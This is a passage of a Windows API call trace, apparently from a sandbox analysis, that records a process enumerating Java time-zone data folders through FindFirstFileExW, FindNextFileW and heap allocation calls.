0x1326560 [0088.596] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.596] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0088.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.598] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indianapolis", cAlternateFileName="")) returned 1 [0088.598] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.598] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.599] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.599] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326560) returned 1 [0088.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf028 [0088.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f1d8 [0088.600] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.600] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Knox", cAlternateFileName="")) returned 1 [0088.600] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.601] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf048 [0088.601] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326560 [0088.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.602] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marengo", cAlternateFileName="")) returned 1 [0088.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.602] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.602] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf068 [0088.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326780 [0088.603] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.603] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Petersburg", cAlternateFileName="")) returned 1 [0088.603] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.604] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.604] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf088 [0088.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f2e0 [0088.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.605] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x374, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tell_City", cAlternateFileName="")) returned 1 [0088.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.605] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.605] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.606] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf0a8 [0088.606] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f3e8 [0088.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.607] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vevay", cAlternateFileName="")) returned 1 [0088.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.607] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.607] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf0c8 [0088.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326808 [0088.608] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.608] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x374, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vincennes", cAlternateFileName="")) returned 1 [0088.608] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.609] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf0e8 [0088.609] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f4f0 [0088.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.610] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winamac", cAlternateFileName="")) returned 1 [0088.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.610] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.610] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf108 [0088.611] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326890 [0088.611] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13266f8) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winamac", cAlternateFileName="")) returned 0 [0088.612] GetLastError () returned 0x12 [0088.612] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0088.612] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745554a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745554a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x364, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indianapolis", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x518, dwReserved0=0x0, dwReserved1=0x0, cFileName="Knox", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="Marengo", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Petersburg", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x374, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tell_City", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x2d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vevay", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x374, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vincennes", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winamac", cAlternateFileName="")) returned 1 [0088.612] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winamac", cAlternateFileName="")) returned 0 [0088.612] GetLastError () returned 0x12 [0088.612] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.613] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0088.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x130c370) returned 1 [0088.614] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.614] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x424, dwReserved0=0x0, dwReserved1=0x0, cFileName="Inuvik", cAlternateFileName="")) returned 1 [0088.614] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x428, dwReserved0=0x0, dwReserved1=0x0, cFileName="Iqaluit", cAlternateFileName="")) returned 1 [0088.614] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xe9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Jamaica", cAlternateFileName="")) returned 1 [0088.614] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Juneau", cAlternateFileName="")) returned 1 [0088.614] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Kentucky", cAlternateFileName="")) returned 1 [0088.614] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.614] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0088.614] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x178 [0088.615] SetFileTime (hFile=0x178, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0088.615] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1332f60 [0088.615] DeviceIoControl (in: hDevice=0x178, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1332f60, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x1332f60, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0088.615] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1332f60) returned 1 [0088.615] NtClose (Handle=0x178) returned 0x0 [0088.616] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1250d58) returned 1 [0088.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1250d58 [0088.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13265e8 [0088.616] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x13266f8 [0088.616] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e90c0 [0088.617] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.617] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="Louisville", cAlternateFileName="")) returned 1 [0088.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326918) returned 1 [0088.617] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.617] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326918) returned 1 [0088.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130c370 [0088.618] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x13265e8) returned 1 [0088.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12bf128 [0088.618] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x130f5f8 [0088.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326918) returned 1 [0088.619] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="Monticello", cAlternateFileName="")) returned 1 [0088.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.619] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326918) returned 1 [0088.619] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x1326918 [0088.620] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1326918) 